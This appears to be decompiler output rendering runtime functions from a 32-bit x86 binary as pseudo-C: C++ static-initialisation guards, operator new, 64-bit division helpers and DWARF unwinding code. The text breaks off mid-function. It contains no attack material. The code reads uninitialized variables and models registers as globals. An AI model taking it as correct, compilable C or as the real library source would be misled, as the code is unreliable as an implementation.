__cxa_guard_acquire(char * a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8, int32_t a9) { int32_t v1 = g100; // 0x809fdfa int32_t v2 = g101; // 0x809fdfd int32_t v3 = g98; // 0x809fdfe int32_t v4 = __i686_get_pc_thunk_bx(); // 0x809fe02 g98 = v4 + 0x918f1; int32_t v5 = (int32_t)a1; // 0x809fe0d g101 = v5; unsigned char v6 = *a1; // 0x809fe10 g95 = v6; g97 = 0; if (v6 != 0) { // 0x809fe38 g98 = v3; g101 = v2; g100 = v1; return 0; } int32_t v7 = *(int32_t *)(v4 + 0x91ff5); // 0x809fe19 g96 = v7; if (v7 != 0) { // 0x809fe23 return _GLOBAL__N_____________libstdc___v3_libsupc___guard_cc_00000000_2A9B2FC0__static_mutex__lock(); } // 0x809fe51 g95 = v5; int32_t v8; g98 = v8; int32_t * v9; g101 = (int32_t)v9; int32_t v10; g100 = v10; return __cxxabiv1__acquire_1(0, 0, 0, 0, 0, NULL); } // Address range: 0x809fe6e - 0x809fe9f int32_t __cxa_guard_release(struct struct_59 * a1) { int32_t v1 = g98; // 0x809fe71 g98 = __i686_get_pc_thunk_bx() + 0x9187e; int32_t v2 = (int32_t)a1; // 0x809fe80 g95 = v2; char * v3 = (char *)(v2 + 1); // 0x809fe83_0 *v3 = *v3 - 1; *(char *)g95 = 1; int32_t result; // 0x809fe9e_11 if (*(int32_t *)(g98 + 1796) != 0) { // 0x809fe94 result = _GLOBAL__N_____________libstdc___v3_libsupc___guard_cc_00000000_2A9B2FC0__static_mutex__unlock(); // branch -> 0x809fe99 } else { result = 0; } // 0x809fe99 g98 = v1; return result; } // Address range: 0x809ff1e - 0x809ff4b void std__bad_alloc_702(void) { // 0x809ff1e int32_t v1; *(int32_t *)v1 = *(int32_t *)(__i686_get_pc_thunk_bx() + 0x91792) + 8; abort(); // UNREACHABLE } // Address range: 0x809ff90 - 0x80a0027 int32_t _Znwj(int32_t a1, int32_t a2, int32_t a3) { int32_t v1 = a1; int32_t * v2 = (int32_t *)g100; // 0x809ff90_0 int32_t v3 = g101; // 0x809ff93 int32_t v4 = g98; // 0x809ff94 g98 = __i686_get_pc_thunk_bx() + 0x9175b; int32_t v5 = a1; // 0x809ffae if (a1 == 0) { // 0x809ffaa v5 = 1; // branch -> 0x809ffae } __libc_malloc(&v5, 0, 0); int32_t result = g95; // 0x809ffb6 if (result != 0) { // 0x809ffba g98 = v4; g101 = v3; g100 = (int32_t)v2; return result; } int32_t result2; // 0x809ffcb while (true) { int32_t v6 = *(int32_t *)*(int32_t *)(g98 - 68); // 0x809ffd8 g95 = v6; g1 = false; g103 = v6 == 0; if (v6 == 0) { int32_t v7 = __cxa_allocate_exception((int32_t *)4, v1); // 0x809ffe5 *(int32_t *)v7 = *(int32_t *)(g98 - 60) + 8; int32_t v8 = g98; // 0x809fff5 int32_t v9 = *(int32_t *)(v8 - 16); // 0x809fff5 a2 = v9; int32_t v10 = *(int32_t *)(v8 - 76); // 0x809ffff v1 = v10; int32_t * v11 = (int32_t *)__cxa_throw(v7, v10, v9, a3, 0); // 0x80a000c_8 int32_t v12; // 0x80a0021 int32_t v13; // 0x80a0021 if (g97 != -1) { // 0x80a0016 _Unwind_Resume(v11, &v1, &a2); v13 = a2; v12 = v1; // branch -> 0x80a001e } else { v13 = v9; v12 = v10; } // 0x80a001e __cxa_call_unexpected(v11, v12, v13); return g95; } // 0x809ffc1 ((int32_t (*)())v6)(); __libc_malloc((int32_t *)g101, v1, a2); result2 = g95; if (result2 != 0) { // break -> 0x809ffba break; } // continue -> 0x809ffd2 } // 0x809ffba g98 = v4; g101 = v3; g100 = (int32_t)(int32_t *)0x809ffcb; return result2; } // Address range: 0x80a54f8 - 0x80a565f int32_t __udivdi3(uint32_t a1, uint32_t a2, uint32_t a3, uint32_t a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8, int32_t a9, int32_t a10, int32_t a11, int32_t a12, int32_t a13, int32_t a14, int32_t a15, int32_t a16) { int32_t v1 = g102; // 0x80a54fb int32_t v2 = g101; // 0x80a54fc if (a4 == 0) { // 0x80a552b if (a3 > a2) { // 0x80a552f g97 = 0; g101 = v2; g102 = v1; return (0x100000000 * (int64_t)a2 | (int64_t)a1) / (int64_t)a3; } // 0x80a5588 if (a3 == 0) { // 0x80a5630 // branch -> 0x80a5593 } // 0x80a5593 g97 = a2 / a3; int32_t v3; g101 = v3; int32_t v4; g102 = v4; return (0x100000000 * (int64_t)(a2 % a3) | (int64_t)a1) / (int64_t)a3; } // 0x80a5548 int32_t v5; int32_t v6; if (a4 > a2) { // 0x80a5628 // branch -> 0x80a5614 // 0x80a5614 g97 = 0; g101 = v5; g102 = v6; return 0; } int32_t v7 = llvm_ctlz_i32(a4, false); // 0x80a5551 uint32_t v8 = 31 - v7 ^ 31; // 0x80a5554 int32_t result; // 0x80a5614 if (v7 == 0) { // 0x80a555c if (a4 < a2 || a3 <= a1) { // 0x80a556d g97 = 0; g101 = a9; g102 = a10; return 1; } // 0x80a5628 result = 0; // branch -> 0x80a5614 } else { uint32_t v9 = v8 % 32; // 0x80a55c8 int32_t v10 = a4; // 0x80a55d2 if (v9 != 0) { // if_80a55c8_0_true v10 = a4 << v9; // branch -> after_if_80a55c8_0 } uint32_t v11 = (32 - v8) % 32; // 0x80a55d0 int32_t v12 = a3; // 0x80a55d2 if (v11 != 0) { // if_80a55d0_0_true v12 = a3 >> v11; // branch -> after_if_80a55d0_0 } int32_t v13 = a2; int32_t v14 = a3; // 0x80a560918 if (v9 != 0) { // if_80a55e2_0_true v13 = a2 << v9; v14 = a3 << v9; // branch -> after_if_80a55e2_0 } int32_t v15 = a1; // 0x80a55ec if (v11 != 0) { // if_80a55ea_0_true v15 = a1 >> v11; // branch -> after_if_80a55ea_0 } int32_t v16 = a1; // 0x80a5641 if (v9 != 0) { // if_80a55f7_0_true v16 = a1 << v9; // branch -> after_if_80a55f7_0 } int32_t v17 = a2; // 0x80a5601 if (v11 != 0) { // if_80a55ff_0_true v17 = a2 >> v11; // branch -> after_if_80a55ff_0 } uint64_t v18 = (int64_t)(v12 | v10); // 0x80a5601 uint64_t v19 = 0x100000000 * (int64_t)v17 | (int64_t)(v15 | v13); // 0x80a5601 uint64_t v20 = v19 / v18; // 0x80a5601 int32_t v21 = v20; // 0x80a5601 uint32_t v22 = (int32_t)(v19 % v18); // 0x80a5601 uint64_t v23 = (v20 & 0xffffffff) * (int64_t)v14; // 0x80a5609 uint32_t v24 = (int32_t)(v23 / 0x100000000); // 0x80a5609 int32_t v25; int32_t v26; if (v22 < v24) { // 0x80a5648 g97 = 0; g101 = v25; g102 = v26; return v21 - 1; } // 0x80a5610 if (v22 == v24) { // 0x80a5641 if (v16 < (int32_t)v23) { // 0x80a5648 g97 = 0; g101 = v25; g102 = v26; return v21 - 1; } result = v21; } else { result = v21; } } // 0x80a5614 g97 = 0; g101 = v5; g102 = v6; return result; } // Address range: 0x80a5660 - 0x80a57ef int32_t __umoddi3(uint32_t result2, uint32_t a2, uint32_t a3, uint32_t a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8, int32_t a9, int32_t a10, int32_t a11, int32_t a12, int32_t a13) { // 0x80a5660 if (a4 == 0) { // 0x80a5694 int32_t result; if (a3 > a2) { // 0x80a569e result = (uint64_t)(0x100000000 * (int64_t)a2 | (int64_t)result2) % (uint64_t)(int64_t)a3; // branch -> 0x80a56a2 } else { // 0x80a5770 if (a3 == 0) { // 0x80a578c // branch -> 0x80a5777 } int32_t v1 = (uint64_t)(0x100000000 * (int64_t)(a2 % a3) | (int64_t)result2) % (uint64_t)(int64_t)a3; result = v1; // branch -> 0x80a56a2 } // 0x80a56a2 return result; } // 0x80a56bc if (a2 < a4) { // 0x80a56c4 return result2; } int32_t v2 = llvm_ctlz_i32(a4, false); // 0x80a56d8 uint32_t v3 = 31 - v2 ^ 31; // 0x80a56dc if (v2 == 0) { // 0x80a579c int32_t result3; // 0x80a57d12 if (a2 > a4) { // 0x80a57c5 result3 = result2 - a3; // branch -> 0x80a57ac } else { // 0x80a57a4 if (result2 >= a3) { // 0x80a57c5 result3 = result2 - a3; // branch -> 0x80a57ac } else { result3 = result2; } } // 0x80a57ac return result3; } uint32_t v4 = v3 % 32; // 0x80a56f9 int32_t v5 = a4; // 0x80a5703 if (v4 != 0) { // if_80a56f9_0_true v5 = a4 << v4; // branch -> after_if_80a56f9_0 } uint32_t v6 = (32 - v3) % 32; // 0x80a5701 int32_t v7 = a3; // 0x80a5705 if (v6 != 0) { // if_80a5701_0_true v7 = a3 >> v6; // branch -> after_if_80a5701_0 } uint32_t v8 = v7 | v5; // 0x80a5705 int32_t v9; uint32_t v10; // 0x80a570f40 uint32_t v11; // 0x80a571728 if (v4 == 0) { // after_if_80a5715_0 v9 = a2; v10 = a3; v11 = result2; // branch -> after_if_80a571d_0 } else { // if_80a5715_0_true v9 = a2 << v4; v10 = a3 << v4; v11 = result2 << v4; // branch -> after_if_80a571d_0 } // after_if_80a571d_0 int32_t v12; int32_t v13; // 0x80a572744 if (v6 == 0) { // after_if_80a5725_0.thread v12 = a2; v13 = v9 | result2; // branch -> after_if_80a572c_0 } else { // if_80a572c_0_true v12 = a2 >> v6; v13 = v9 | result2 >> v6; // branch -> after_if_80a572c_0 } uint64_t v14 = (int64_t)v8; // 0x80a572e uint64_t v15 = 0x100000000 * (int64_t)v12 | (int64_t)v13; // 0x80a572e int32_t v16 = v15 % v14; // 0x80a572e uint64_t v17 = (v15 / v14 & 0xffffffff) * (int64_t)v10; // 0x80a5732 int32_t v18 = v17 / 0x100000000; // 0x80a5732 uint32_t v19 = (int32_t)v17; // 0x80a5732 uint32_t v20; // 0x80a5746 int32_t v21; // 0x80a5758 int32_t v22; // 0x80a5746 int32_t v23; // 0x80a5748 int32_t result4; // 0x80a575847 int32_t v24; // 0x80a5748 if (v16 < v18) { // 0x80a57d9 v23 = (int32_t)(v19 < v10) + v18 - v8; v22 = v19 - v10; // branch -> 0x80a5743 } else { // 0x80a573d if (v16 == v18) { // 0x80a57e3 if (v11 < v19) { // 0x80a57d9 v23 = (int32_t)(v19 < v10) + v18 - v8; v22 = v19 - v10; // branch -> 0x80a5743 } else { // 0x80a57e8 v23 = v16; v22 = v19; // branch -> 0x80a5743 } // 0x80a5743 v20 = v11 - v22; v24 = (int32_t)(v11 < v22) + v16 - v23; v21 = v24; if (v6 != 0) { // if_80a5751_0_true v21 = v24 << v6; // branch -> after_if_80a5751_0 } // after_if_80a5751_0 if (v4 == 0) { // after_if_80a5756_0.thread result4 = v21 | v20; // branch -> after_if_80a575d_0 } else { // if_80a575d_0_true result4 = v21 | v20 >> v4; // branch -> after_if_80a575d_0 } // after_if_80a575d_0 return result4; } v23 = v18; v22 = v19; } // 0x80a5743 v20 = v11 - v22; v24 = (int32_t)(v11 < v22) + v16 - v23; v21 = v24; if (v6 != 0) { // if_80a5751_0_true v21 = v24 << v6; // branch -> after_if_80a5751_0 } // after_if_80a5751_0 if (v4 == 0) { // after_if_80a5756_0.thread result4 = v21 | v20; // branch -> after_if_80a575d_0 } else { // if_80a575d_0_true result4 = v21 | v20 >> v4; // branch -> after_if_80a575d_0 } // after_if_80a575d_0 return result4; } // Address range: 0x80a57f0 - 0x80a57fb int32_t _Unwind_GetTextRelBase(int32_t * a1) { int32_t v1 = (int32_t)a1; // 0x80a57f3 g95 = v1; return *(int32_t *)(v1 + 84); } // Address range: 0x80a57fc - 0x80a5807 int32_t _Unwind_GetDataRelBase(int32_t * a1) { int32_t v1 = (int32_t)a1; // 0x80a57ff g95 = v1; return *(int32_t *)(v1 + 88); } // Address range: 0x80a5808 - 0x80a5813 int32_t _Unwind_GetRegionStart(int32_t * a1) { int32_t v1 = (int32_t)a1; // 0x80a580b g95 = v1; return *(int32_t *)(v1 + 92); } // Address range: 0x80a5814 - 0x80a5819 void base_of_encoded_value_717(int32_t a1, int32_t a2) { // 0x80a5814 function_80a581e(g96, g98); } // Address range: 0x80a581e - 0x80a5881 int32_t function_80a581e(int32_t a1, int32_t a2) { // 0x80a581e int32_t * v1; g98 = (int32_t)v1 + 0x8beda; int32_t v2 = g95; // 0x80a5825 int32_t v3; int32_t * v4; int32_t v5; // 0x80a5851 if (0x1000000 * v2 == -0x1000000) { // 0x80a584c g98 = (int32_t)v4; v5 = g100; g100 = v3; g99 = v5 + 4; return 0; } int32_t v6 = v2 & 112; // 0x80a5829 g95 = v6; if (v6 == 32) { int32_t result = _Unwind_GetTextRelBase((int32_t *)g97); // 0x80a5855 g98 = 0x80a585a; int32_t v7 = g100; // 0x80a585e g100 = g97; g99 = v7 + 4; return result; } // 0x80a5831 if (v6 < 33) { // 0x80a5848 if (v6 == 0) { // 0x80a584c g98 = (int32_t)v4; v5 = g100; g100 = v3; g99 = v5 + 4; return 0; } // 0x80a5860 if (v6 != 16) { // 0x80a5865 abort(); // UNREACHABLE } // 0x80a584c g98 = (int32_t)v4; v5 = g100; g100 = v3; g99 = v5 + 4; return 0; } // 0x80a5833 if (v6 == 64) { int32_t result2 = _Unwind_GetRegionStart((int32_t *)g97); // 0x80a586b g98 = 0x80a5870; int32_t v8 = g100; // 0x80a5874 g100 = g97; g99 = v8 + 4; return result2; } // 0x80a5838 if (v6 == 80) { // 0x80a584c g98 = (int32_t)v4; v5 = g100; g100 = v3; g99 = v5 + 4; return 0; } // 0x80a583d if (v6 != 48) { // 0x80a5842 abort(); // UNREACHABLE } int32_t result3 = _Unwind_GetDataRelBase((int32_t *)g97); // 0x80a5877 g96 = g97; g98 = 0x80a587c; int32_t v9 = g100; // 0x80a5880 g100 = g97; g99 = v9 + 4; return result3; } // Address range: 0x80a5884 - 0x80a58c1 int32_t read_uleb128_718(int32_t a1) { int32_t v1 = g97; // 0x80a588f int32_t v2 = 0; // 0x80a58aa int32_t result = 0; // 0x80a58ac int32_t v3 = v1; // 0x80a589b int32_t v4 = g95; // branch -> 0x80a5898 int32_t v5; // 0x80a589d int32_t v6; // 0x80a58aa while (true) { unsigned char v7 = *(char *)v4; // 0x80a589b int32_t v8 = (int32_t)v7 | v3 & -256; // 0x80a589b g97 = v8; v5 = v4 + 1; int32_t v9 = v7 % 128; // 0x80a58a3 uint32_t v10 = result % 32; // 0x80a58a8 int32_t v11 = v9; // 0x80a58aa if (v10 != 0) { // if_80a58a8_0_true v11 = v9 << v10; // branch -> after_if_80a58a8_0 } // after_if_80a58a8_0 v6 = v11 | v2; if (v8 >= 0) { // break -> 0x80a58b3 break; } v2 = v6; result += 7; v3 = v8; v4 = v5; // continue -> 0x80a5898 } // 0x80a58b3 *(int32_t *)v1 = v6; g95 = v5; return result; } // Address range: 0x80a58c4 - 0x80a5923 int32_t read_sleb128_719(int32_t a1) { int32_t result = 0; // 0x80a58f4 int32_t v1 = g97; // 0x80a58df int32_t v2 = 0; // 0x80a59114 int32_t v3 = g95; // branch -> 0x80a58dc int32_t v4; // 0x80a58e1 int32_t result2; // 0x80a58f4 unsigned char v5; // 0x80a58df int32_t v6; // 0x80a58f1 while (true) { // 0x80a58dc v5 = *(char *)v3; int32_t v7 = (int32_t)v5 | v1 & -256; // 0x80a58df v4 = v3 + 1; int32_t v8 = v5 % 128; // 0x80a58ea uint32_t v9 = result % 32; // 0x80a58ef int32_t v10 = v8; // 0x80a58f1 if (v9 != 0) { // if_80a58ef_0_true v10 = v8 << v9; // branch -> after_if_80a58ef_0 } // after_if_80a58ef_0 v6 = v10 | v2; result2 = result + 7; if (v7 >= 0) { // break -> 0x80a58fb break; } result = result2; v1 = v7; v2 = v6; v3 = v4; // continue -> 0x80a58dc } int32_t * v11 = (int32_t *)g97; // 0x80a58cf_0 if (result2 > 31 || v5 == 64) { // 0x80a5911 *v11 = v6; g95 = v4; return result; } uint32_t v12 = result2 % 32; // 0x80a590c int32_t v13; // 0x80a590e if (v12 != 0) { // if_80a590c_0_true v13 = -1 << v12; // branch -> after_if_80a590c_0 } else { v13 = -1; } // after_if_80a590c_0 // branch -> 0x80a5911 // 0x80a5911 *v11 = v13 | v6; g95 = v4; return result2; } // Address range: 0x80a5924 - 0x80a592d int32_t read_encoded_value_with_base_720(int32_t a1, int32_t a2, int32_t a3) { int32_t v1; int32_t v2; int32_t v3; function_80a5932(v3, &v2, v1, 0, 0, 0); return g95; } // Address range: 0x80a5932 - 0x80a59de int32_t function_80a5932(int32_t a1, int32_t * a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6) { // 0x80a5932 int32_t * v1; int32_t v2 = (int32_t)v1; // 0x80a5932 int32_t v3 = v2 + 0x8bdc6; // 0x80a5933 g98 = v3; int32_t v4 = g96; // 0x80a593c g101 = v4; uint32_t v5 = g95; // 0x80a593e g102 = v5; if (0x1000000 * v5 != 0x50000000) { // 0x80a5944 g95 = v5 % 256; uint32_t v6 = v5 % 16; // 0x80a594a if (v6 < 13) { // 0x80a5958 g95 = *(int32_t *)(v2 + 0x62cfa + 4 * v6) + v3; return unknown_81316f8(); } // 0x80a5952 abort(); // UNREACHABLE } // 0x80a5964 g97 = g5; g96 = v4 + 7 & -4; g95 = (int32_t)a2; *a2 = g5; int32_t v7; g98 = v7; int32_t v8; g101 = v8; int32_t * v9; g102 = (int32_t)v9; int32_t v10 = g100; // 0x80a597c int32_t v11; g100 = v11; g99 = v10 + 4; return g96; } // Address range: 0x80a5b34 - 0x80a5b50 int32_t _Unwind_DeleteException(int32_t a1) { uint32_t v1 = g99; // 0x80a5b37 g97 = a1; int32_t result = *(int32_t *)(a1 + 8); // 0x80a5b3d if (result != 0) { // 0x80a5b44 g1 = v1 < 8; g103 = v1 == 8; ((int32_t (*)(int32_t, int32_t))result)(1, a1); // branch -> 0x80a5b4f } // 0x80a5b4f return result; } // Address range: 0x80a5b54 - 0x80a5b5d int32_t execute_cfa_program(int32_t * a1, int32_t * a2, int32_t a3) { int32_t v1 = 0; // bp-44 function_80a5b62((struct struct_103 *)&v1); return g95; } // Address range: 0x80a5b62 - 0x80a5fea int32_t function_80a5b62(struct struct_103 * a1) { struct struct_106 * v1 = NULL; int32_t v2; g98 = v2 + 0x8bb96; g101 = g95; uint32_t v3 = g97; // 0x80a5b6b int32_t v4 = g96; // 0x80a5b6e g95 = (int32_t)v1; v1->e3 = NULL; uint32_t v5 = g101; // 0x80a5b7e int32_t v6; // 0x80a5bdc int32_t result2; // 0x80a5c6a if (v5 < g97) { // 0x80a5b82 g97 = (int32_t)v1; int32_t v7 = (int32_t)v1->e8; // 0x80a5b85_0 g96 = v7; int32_t * v8 = (int32_t *)(v4 + 76); // 0x80a5b8e_0 if (v7 < *v8) { int32_t v9 = v5 + 1; // 0x80a5b9a g102 = v9; int32_t v10 = (int32_t)*(char *)v5; // 0x80a5b9d g97 = v10; int32_t v11 = v10 & 192; // 0x80a5ba2 g95 = v11; struct struct_106 * v12; int32_t v13; // 0x80a5c46 int32_t result; // 0x80a5c53 int32_t v14; // 0x80a5c18 if (v11 == 64) { v12 = v1; v13 = v10; lab_0x31206c00:; int32_t v15 = v12->e11 * (v13 % 64); // 0x80a5c4c g97 = v15; result = v15 + v7; v12->e8 = (int32_t *)result; // branch -> 0x80a5c18 // 0x80a5c18 v14 = g102; if (v3 > v14) { goto lab_0xb2f7680; } // 0x80a5bdc v6 = g100; g98 = v2; g101 = v2; g102 = v2; g100 = v2; g99 = v6 + 8; return result; } // 0x80a5bb0 if (v11 == 128) { lab_0xb2f8030:; int32_t v16 = v10 % 64; // 0x80a5c80 g97 = g100 - 20; g95 = v9; g99 -= 4; read_uleb128_718((int32_t)a1); g102 = g95; int32_t * v17; int32_t v18 = (int32_t)v17; // 0x80a5c92 g95 = v18; int32_t v19 = v1->e10 * v18; // 0x80a5c98 g97 = v16; g96 = (int32_t)v1; v1->e0[v16].e1 = 1; v1->e0[v16].e0 = (int32_t *)v19; result = v19; // branch -> 0x80a5c18 // 0x80a5c18 v14 = g102; if (v3 > v14) { goto lab_0xb2f7680; } // 0x80a5bdc v6 = g100; g98 = v2; g101 = v2; g102 = v2; g100 = v2; g99 = v6 + 8; return result; } // 0x80a5bbb int32_t v20; // 0x80a5bcf if (v11 != 192) { // 0x80a5bc6 if (v10 >= 48) { // 0x80a5c60 g99 -= 4; abort(); // UNREACHABLE } // 0x80a5bcf v20 = g98; g95 = *(int32_t *)(4 * v10 - 0x29098 + v20) + v20; return unknown_81316f8(); } lab_0x68f2860: // 0x80a5c68 g95 = v10; result2 = v10 % 64; v1->e0[result2].e1 = 0; // branch -> 0x80a5c18 // 0x80a5c18 v14 = g102; if (v3 > v14) { lab_0xb2f7680:; int32_t v21 = (int32_t)v1->e8; // 0x80a5c20_0 g96 = v21; if (*v8 > v21) { // 0x80a5c2e g101 = v14; int32_t v22 = v14 + 1; // 0x80a5c30 g102 = v22; int32_t v23 = (int32_t)*(char *)v14; // 0x80a5c33 g97 = v23; int32_t v24 = v23 & 192; // 0x80a5c38 g95 = v24; if (v24 == 64) { v7 = v21; v12 = v1; v13 = v23; goto lab_0x31206c00; } v9 = v22; v10 = v23; v11 = v24; // 0x80a5bb0 if (v11 == 128) { goto lab_0xb2f8030; } // 0x80a5bbb if (v11 == 192) { goto lab_0x68f2860; } // 0x80a5bc6 if (v10 >= 48) { // 0x80a5c60 g99 -= 4; abort(); // UNREACHABLE } // 0x80a5bcf v20 = g98; g95 = *(int32_t *)(4 * v10 - 0x29098 + v20) + v20; return unknown_81316f8(); } result2 = v4; } // 0x80a5bdc v6 = g100; g98 = v2; g101 = v2; g102 = v2; g100 = v2; g99 = v6 + 8; return result2; } result2 = v4; } // 0x80a5bdc v6 = g100; g98 = v2; g101 = v2; g102 = v2; g100 = v2; g99 = v6 + 8; return result2; } // Address range: 0x80a5fec - 0x80a5ff5 int32_t uw_frame_state_for(int32_t * a1, int32_t * a2) { int32_t v1 = 0; // bp-60 int32_t v2; function_80a5ffa((struct struct_103 *)&v2, (struct struct_103 *)&v1); return g96; } // Address range: 0x80a5ffa - 0x80a6462 int32_t function_80a5ffa(struct struct_103 * a1, struct struct_103 * a2) { int32_t v1 = g95; // 0x80a6001 int32_t v2 = g97; // 0x80a6004 struct struct_110 * v3 = (struct struct_110 *)v2; // bp-56 memset((int32_t *)v2, (int32_t)g2, 192); g95 = v1; *(int32_t *)(v1 + 96) = 0; *(int32_t *)(g95 + 80) = 0; int32_t v4 = g95; // 0x80a6025 int32_t v5 = *(int32_t *)(v4 + 76); // 0x80a6025 g97 = v5; int32_t v6; // 0x80a625a if (v5 == 0) { // 0x80a625a v6 = g100; g98 = 192; g101 = 192; g102 = 192; g100 = 192; g99 = v6 + 8; return 5; } struct struct_110 * v7 = (struct struct_110 *)(v4 + 84); // bp-4 _Unwind_Find_FDE(v5 - 1); int32_t v8 = g95; // 0x80a6043 struct struct_3 * v9 = (struct struct_3 *)v8; // bp-48 g97 = v1; if (v8 == 0) { int32_t v10 = *(int32_t *)(v1 + 76); // 0x80a6354 g95 = v10; int32_t v11; int32_t v12; // 0x80a642b struct struct_110 * v13; // 0x80a63b0_0 if (*(int16_t *)v10 == -0x47a8) { // 0x80a6441 if (*(int32_t *)(v10 + 2) == 119) { // 0x80a644b if (*(int16_t *)(v10 + 6) == -0x7f33) { int32_t v14 = *(int32_t *)(v1 + 72); // 0x80a6457 v11 = v14 + 4; // branch -> 0x80a6390 // 0x80a6390 g96 = v11; g97 = *(int32_t *)(v11 + 28); v3->e21 = 1; v3->e19 = 4; v13 = v3; v13->e18 = g97 - v14; v3->e1 = 1; *(int32_t *)(int32_t)v13 = g96 + 44 - g97; v3->e7 = 1; v3->e6 = g96 + 32 - g97; v3->e3 = 1; v3->e2 = g96 + 40 - g97; v3->e5 = 1; v3->e4 = g96 + 36 - g97; v3->e12 = 1; v3->e11 = g96 + 20 - g97; v3->e14 = 1; v3->e13 = g96 + 16 - g97; v3->e10 = 1; v3->e9 = g96 + 24 - g97; v3->e16 = 1; v12 = g96 + 56 - g97; g95 = v12; v3->e15 = v12; v3->e24 = 8; // branch -> 0x80a625a // 0x80a625a v6 = g100; g98 = 192; g101 = 192; g102 = 192; g100 = 192; g99 = v6 + 8; return 0; } } } int32_t result = 5; if (*(char *)v10 == -72) { // 0x80a636b if (*(int32_t *)(v10 + 1) == 173) { // 0x80a6378 if (*(int16_t *)(v10 + 5) == -0x7f33) { int32_t v15 = *(int32_t *)(v1 + 72); // 0x80a6387 v11 = v15 + 160; // branch -> 0x80a6390 // 0x80a6390 g96 = v11; g97 = *(int32_t *)(v11 + 28); v3->e21 = 1; v3->e19 = 4; v13 = v3; v13->e18 = g97 - v15; v3->e1 = 1; *(int32_t *)(int32_t)v13 = g96 + 44 - g97; v3->e7 = 1; v3->e6 = g96 + 32 - g97; v3->e3 = 1; v3->e2 = g96 + 40 - g97; v3->e5 = 1; v3->e4 = g96 + 36 - g97; v3->e12 = 1; v3->e11 = g96 + 20 - g97; v3->e14 = 1; v3->e13 = g96 + 16 - g97; v3->e10 = 1; v3->e9 = g96 + 24 - g97; v3->e16 = 1; v12 = g96 + 56 - g97; g95 = v12; v3->e15 = v12; v3->e24 = 8; result = 0; // branch -> 0x80a625a } else { result = 5; } } else { result = 5; } } // 0x80a625a v6 = g100; g98 = 192; g101 = 192; g102 = 192; g100 = 192; g99 = v6 + 8; return result; } // 0x80a6051 v3->e22 = *(int32_t *)(v1 + 92); int32_t v16 = (int32_t)v9 + 4 - v9->e1; // 0x80a606c struct struct_108 * v17 = (struct struct_108 *)v16; // bp-44 int32_t v18 = v16 + 9; // 0x80a6071 g101 = v18; char * str = (char *)v18; // 0x80a6074_0 int32_t len = strlen(str); // 0x80a6081 int32_t v19 = g101; // 0x80a6085 int32_t v20 = v19 + len; // 0x80a6085 g95 = len + 1 + v19; char * v21 = str; // bp+011 if (v17->e2 == 101) { // 0x80a6262 if (*(char *)(v19 + 1) == 104) { // 0x80a626c g101 = (int32_t)v3; v3->e26 = (char)*(int32_t *)(v20 + 1); g95 = v20 + 5; v21 = (char *)((int32_t)v17 + 11); // branch -> 0x80a6099 } else { v21 = str; } } // 0x80a6099 g97 = (int32_t)v3 + 176; read_uleb128_718((int32_t)a2); g97 = (int32_t)v3 + 172; struct struct_103 * v22 = (struct struct_103 *)0x80a60b5; read_sleb128_719((int32_t)a2); int32_t v23 = g95; // 0x80a60b5 int32_t v24; // 0x80a6174 int32_t v25; // 0x80a632e char * v26; // 0x80a627e_09 int32_t v27; // 0x80a62d3 int32_t v28; int32_t v29; int32_t v30; unsigned char v31; int32_t v32; // 0x80a616a int32_t v33; // 0x80a6240 int32_t v34; // 0x80a6329 int32_t v35; // 0x80a6108 int32_t v36; // 0x80a6180 int32_t v37; // 0x80a624d int32_t v38; // 0x80a62e4 int32_t v39; // 0x80a6306 unsigned char v40; // 0x80a617a int32_t v41; // 0x80a6293 int32_t v42; // 0x80a6293 struct struct_108 * v43; // 0x80a6158_0 struct struct_110 * v44; // 0x80a6177_0 int32_t v45; struct struct_110 * v46; // 0x80a62a9_0 int32_t v47; // 0x80a62ac struct struct_3 * v48; // 0x80a62e7_0 int32_t v49; // 0x80a6342 int32_t v50; // 0x80a634236 int32_t v51; // 0x80a61d1 int32_t v52; // 0x80a62ac int32_t v53; // 0x80a60f8 if (v17->e2 == 1) { int32_t v54 = (int32_t)*(char *)v23; // 0x80a61b5 g97 = (int32_t)v3; v3->e24 = v54; g102 = v23 + 1; g96 = (int32_t)v3; v3->e25 = -1; g101 = (int32_t)v21; v51 = v54 & -256 | (int32_t)*v21; g95 = v51; if (v51 != 122) { v45 = 0; // 0x80a60f4 if (0x1000000 * v51 == 0) { // 0x80a6147 g97 = v45; if (v45 == 0) { // 0x80a6240 v33 = g102; // branch -> 0x80a6240 // 0x80a6240 if (v33 == 0) { // 0x80a6248 v37 = g100; g98 = 192; g101 = 192; g102 = 192; g100 = v28; g99 = v37 + 8; return 3; } v32 = v33; } else { // 0x80a6152 v32 = v45; // branch -> 0x80a6155 } // 0x80a6155 v43 = v17; g97 = (int32_t)v43 + v43->e0 + 4; g96 = v1; g95 = v32; execute_cfa_program(&v3->e0, &v7->e0, 192); v24 = (int32_t)v9 + 8; g96 = v24; v44 = v3; g95 = (int32_t)v44; v40 = v44->e25; v36 = g99; if ((g97 & -256 || (int32_t)v40) == -1) { // 0x80a630e g102 = v24; if (v44->e25 != 0) { // 0x80a631f g97 = g100 - 16; g95 = v24; g99 = v36 - 4; read_uleb128_718((int32_t)v22); v34 = g95; g102 = v34; v25 = v34 + v29; g96 = v25; v50 = v34; v52 = v34; v46 = v3; v30 = v25; // branch -> 0x80a62a9 } else { v50 = v24; v52 = 0; v46 = v44; v30 = 0; } } else { // 0x80a618c v31 = v40 % 8; g97 = v31; if (v31 == 2) { // 0x80a6338 v42 = 4; // branch -> 0x80a6293 } else { // 0x80a6198 if (v31 < 3) { // 0x80a6286 if (v31 != 0) { // 0x80a61b0 abort(); // UNREACHABLE } } else { // 0x80a619e if (v31 != 3) { // 0x80a61a7 if (v31 != 4) { // 0x80a61b0 abort(); // UNREACHABLE } // 0x80a6347 v42 = 16; // branch -> 0x80a6293 // 0x80a6293 v41 = v42 + v24; g102 = v41; v50 = v41; v52 = v42; v46 = v44; v30 = 0; if (v44->e25 != 0) { // 0x80a631f g97 = g100 - 16; g95 = v41; g99 = v36 - 4; read_uleb128_718((int32_t)v22); v34 = g95; g102 = v34; v25 = v34 + v29; g96 = v25; v50 = v34; v52 = v34; v46 = v3; v30 = v25; // branch -> 0x80a62a9 } // 0x80a62a9 v47 = v46->e25; if ((v47 || v52 & -256) == -1) { // 0x80a62a9 v38 = g99; v49 = v50; // branch -> 0x80a62dd } else { // 0x80a62b6 g97 = v1; g95 = v47; g99 -= 4; 